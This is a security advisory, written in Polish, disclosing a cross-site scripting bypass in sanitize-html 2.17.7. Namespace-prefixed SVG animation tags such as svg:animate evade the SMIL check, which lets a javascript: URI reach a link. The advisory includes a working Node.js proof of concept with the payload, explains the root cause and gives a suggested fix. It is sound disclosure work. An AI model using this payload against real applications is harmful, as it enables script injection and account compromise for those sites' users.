ApostropheCMS sanitize-html: Pominięcie prefiksu przestrzeni nazw animacji SMIL umożliwia wstrzyknięcie URI javascript: (XSS)

Podsumowanie

W sanitize-html 2.17.7 wprowadzono animatesUrlAttribute() w celu blokowania elementów animacji SVG (animate, animateColor, animateMotion, animateTransform, set), gdy ich attributeName wskazuje na ujście URL, takie jak href. Jednakże weryfikacja ta jest omijana, gdy element animacji używa prefiksu przestrzeni nazw (np. svg:animate zamiast animate).

Przyczyna źródłowa

Funkcja animatesUrlAttribute (index.js, linia ~832) sprawdza svgAnimationTags.indexOf(name.toLowerCase()), gdzie svgAnimationTags zawiera proste nazwy lokalne: ["animate", "animatecolor", "animatemotion", "animatetransform", "set"]. Biblioteka htmlparser2 przekazuje nazwy tagów z prefiksem przestrzeni nazw dosłownie, więc svg:animate nie pasuje do animate w tablicy, co powoduje zwrócenie przez funkcję wartości false i pominięcie ochrony przed XSS w SMIL.

Jak na ironię, funkcja prawidłowo obsługuje prefiksy przestrzeni nazw dla docelowej wartości attributeName (linia ~843): const localName = target.slice(target.lastIndexOf(":") + 1) — lecz to samo oczyszczanie nie zostało zastosowane do samej nazwy tagu.

Proof of Concept

const sanitizeHtml = require("sanitize-html");

const config = {
  allowedTags: false,
  allowedAttributes: false,
  allowedSchemes: ["http", "https"]
};

// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
  `<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED

// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
  `<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS

Wszystkie 5 elementy animacji SMIL można pominąć za pomocą dowolnego prefiksu przestrzeni nazw (svg:, xlink:, xml:, warianty pisane wielkimi literami). Przetestowano i potwierdzono w sanitize-html 2.17.7 z monorepozytorium apostrophe.

Wpływ

Cross-site scripting (XSS) poprzez przekierowanie animacji SMIL. Gdy aplikacja używa allowedTags: false (częste w edytorach tekstu sformatowanego, które zachowują SVG), atakujący może wstrzyknąć <svg:animate attributeName="href" values="#safe;javascript:..." .../>, aby nadpisać atrybut href nadrzędnego elementu <a> po załadowaniu strony, powodując wykonanie JavaScriptu po kliknięciu linku.

Sugerowana poprawka

Usunięcie prefiksu przestrzeni nazw z nazwy tagu przed wyszukiwaniem, zgodnie ze wzorcem już stosowanym dla docelowej nazwy atrybutu:

// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {

// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {

Wersje dotknięte podatnością

sanitize-html >= 2.17.7 (gdzie wprowadzono ochronę animacji SMIL). Wcześniejsze wersje w ogóle nie posiadają ochrony SMIL.

Podziękowania

Kai Aizen (SnailSploit) — Adversarial AI & Security Research